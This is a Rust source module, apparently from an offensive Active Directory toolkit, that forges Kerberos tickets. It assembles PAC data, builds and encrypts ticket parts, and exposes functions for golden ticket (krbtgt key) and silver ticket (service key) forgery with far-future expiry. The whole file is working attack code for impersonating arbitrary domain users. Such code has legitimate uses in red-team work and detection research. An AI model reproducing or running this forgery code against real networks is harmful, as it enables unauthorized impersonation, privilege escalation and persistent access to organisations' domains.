use crate::checksum;
use crate::pac::{assemble_pac, ForgeIdentity};
use crate::util::{
now_kerberos_time, principal, ETYPE_AES256, ETYPE_RC4_HMAC, FAR_FUTURE, NT_PRINCIPAL,
NT_SRV_INST,
};
use crate::{PacForgeError, Result};
pub struct ForgedTicket {
ticket: kerbcore::messages::Ticket,
session_key: Vec<u8>,
cname: kerbcore::types::PrincipalName,
crealm: String,
}
impl ForgedTicket {
pub fn from_parts(
ticket: kerbcore::messages::Ticket,
session_key: Vec<u8>,
cname: kerbcore::types::PrincipalName,
crealm: String,
) -> Self {
Self {
ticket,
session_key,
cname,
crealm,
}
}
pub fn ticket_cipher(&self) -> &[u8] {
&self.ticket.enc_part.cipher
}
pub fn session_key(&self) -> &[u8] {
&self.session_key
}
pub fn ticket(&self) -> &kerbcore::messages::Ticket {
&self.ticket
}
pub fn cname(&self) -> &kerbcore::types::PrincipalName {
&self.cname
}
pub fn crealm(&self) -> &str {
&self.crealm
}
}
pub(crate) fn build_pac_authdata(pac_bytes: &[u8]) -> Vec<u8> {
use kerbcore::der::{encode_integer, encode_octet_string, encode_sequence, explicit};
let ad = |t: i64, d: &[u8]| {
encode_sequence(
&[
explicit(0, &encode_integer(t)),
explicit(1, &encode_octet_string(d)),
]
.concat(),
)
};
let win2k = ad(128, pac_bytes);
let if_rel = ad(1, &encode_sequence(&win2k));
encode_sequence(&if_rel)
}
#[allow(clippy::too_many_arguments)]
pub(crate) fn build_enc_ticket_part(
etype: u8,
session_key: &[u8],
crealm: &str,
cname: &kerbcore::types::PrincipalName,
flags: u32,
auth_time: &str,
starttime: &str,
endtime: &str,
renew_till: &str,
authdata: &[u8],
ticket_key: &[u8],
) -> Result<Vec<u8>> {
use kerbcore::der::{
application_tag, encode_integer, encode_octet_string, encode_sequence, explicit, tlv,
TAG_BIT_STRING,
};
let fb = flags.to_be_bytes();
let flags = tlv(TAG_BIT_STRING, &[0x00, fb[0], fb[1], fb[2], fb[3]]);
let key_der = kerbcore::types::EncryptionKey {
keytype: etype as i32,
keyvalue: session_key.to_vec(),
}
.encode();
let transited = encode_sequence(
&[
explicit(0, &encode_integer(0)),
explicit(1, &encode_octet_string(&[])),
]
.concat(),
);
let kt = |s: &str| kerbcore::types::KerberosTime(s.to_string()).encode();
let body = [
explicit(0, &flags),
explicit(1, &key_der),
explicit(2, &kerbcore::types::encode_realm(crealm)),
explicit(3, &cname.encode()),
explicit(4, &transited),
explicit(5, &kt(auth_time)),
explicit(6, &kt(starttime)),
explicit(7, &kt(endtime)),
explicit(8, &kt(renew_till)),
explicit(10, authdata),
]
.concat();
let etp_der = tlv(application_tag(3), &encode_sequence(&body));
if etype == ETYPE_RC4_HMAC {
Ok(checksum::rc4_encrypt(ticket_key, 2, &etp_der, None))
} else {
let key = kerbcore::KerberosKey::from_i32(etype as i32, ticket_key.to_vec())
.map_err(|e| PacForgeError::Encrypt(format!("ticket key: {e}")))?;
Ok(key.encrypt(2, &etp_der))
}
}
fn forge_ticket(
id: &ForgeIdentity,
realm: &str,
ticket_key: &[u8],
server_sig_key: &[u8],
kdc_sig_key: &[u8],
sname: &[&str],
rc4: bool,
) -> Result<ForgedTicket> {
let realm = realm.to_uppercase();
let pac_bytes = assemble_pac(id, server_sig_key, kdc_sig_key, rc4)?;
let etype = if rc4 { ETYPE_RC4_HMAC } else { ETYPE_AES256 };
let mut sk = vec![0u8; if rc4 { 16 } else { 32 }];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut sk);
let cname = principal(NT_PRINCIPAL, &[id.user.as_str()]);
let now = now_kerberos_time();
let authdata = build_pac_authdata(&pac_bytes);
let enc = build_enc_ticket_part(
etype,
&sk,
&realm,
&cname,
0x40e1_0000,
&now,
&now,
FAR_FUTURE,
FAR_FUTURE,
&authdata,
ticket_key,
)?;
let ticket = kerbcore::messages::Ticket {
tkt_vno: 5,
realm: realm.clone(),
sname: principal(NT_SRV_INST, sname),
enc_part: kerbcore::types::EncryptedData {
etype: etype as i32,
kvno: None,
cipher: enc,
},
};
Ok(ForgedTicket {
ticket,
session_key: sk,
cname,
crealm: realm,
})
}
pub fn forge_golden_tgt(
id: &ForgeIdentity,
realm: &str,
krbtgt_key: &[u8],
rc4: bool,
) -> Result<ForgedTicket> {
let realm_up = realm.to_uppercase();
forge_ticket(
id,
realm,
krbtgt_key,
krbtgt_key,
krbtgt_key,
&["krbtgt", &realm_up],
rc4,
)
}
pub fn forge_silver_tgt(
id: &ForgeIdentity,
realm: &str,
service_key: &[u8],
spn: &str,
rc4: bool,
) -> Result<ForgedTicket> {
let comps: Vec<&str> = spn.split('/').collect();
forge_ticket(
id,
realm,
service_key,
service_key,
service_key,
&comps,
rc4,
)
}